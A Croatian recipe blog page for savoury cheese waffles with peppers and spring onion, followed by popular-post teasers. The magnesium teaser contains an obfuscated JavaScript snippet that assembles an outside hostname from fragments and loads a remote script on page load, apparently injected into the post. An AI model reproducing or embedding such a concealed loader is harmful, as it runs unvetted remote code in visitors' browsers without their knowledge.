VAFLI SA SIROM





Vafli sa sirom



Slani vafli sa sirom brzi su doručak. Sastojci se izmiješaju u gustu smjesu, po želji dodaju šunka ili začini, te peku u aparatu za vafle oko 5 minuta dok ne postanu hrskavi i zlatni.




Vafli sa sirom 


Sastojci:

200 g svježeg sira
• 4 jaja 
• 200 g jogurta 
• 200 g glatkog brašna 
• 5 g praška za pecivo
• 5 g soli
• 30 ml maslinova  ulja 
• 80 g paprike
• 60 g mladog luka
• 80 g naribanog tvrdog sira Delicato (Dalmato ili Iberico)


Za posluživanje:
• 200 g svježeg sira 
• 50 ml jogurta 
• 5 g svježeg peršina 
• 200 g cherry rajčica
• 5 ml maslinova ulja 
• 2 g soli
• 1 g papra




Priprema:

U velikoj zdjeli zgnječite svježi sir vilicom i dodajte jaja. Umiješajte jogurt pa postupno dodajte brašno, prašak za pecivo i sol. Dobro promiješajte da dobijete glatko tijesto bez grudica. U tijesto umiješajte nasitno nasjeckanu papriku i mladi luk te naribani sir. Sve dobro promiješajte. Uključite aparat za vafle da se dobro zagrije. Lagano ga premažite s malo maslinova ulja da se vafli ne lijepe. Ulijte dovoljno tijesta da prekrije dno kalupa (100 - 120 ml tijesta po vaflu, ovisno o veličini). Spustite poklopac aparata i pecite 3 - 5 minuta ili dok vafli ne postanu zlatni i hrskavi. Ponavljajte postupak dok ne ispečete sve tijesto.

U manjoj zdjelici pomiješajte svježi sir s jogurtom ili kiselim vrhnjem te nasitno nasjeckanim peršinom. Posolite i popaprite pa dobro promiješajte. Narežite cherry rajčice na polovice. Uz tople vafle stavite žlicu svježeg sira s jogurtom, zatim dodajte nekoliko polovica cherry rajčica i poslužite.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više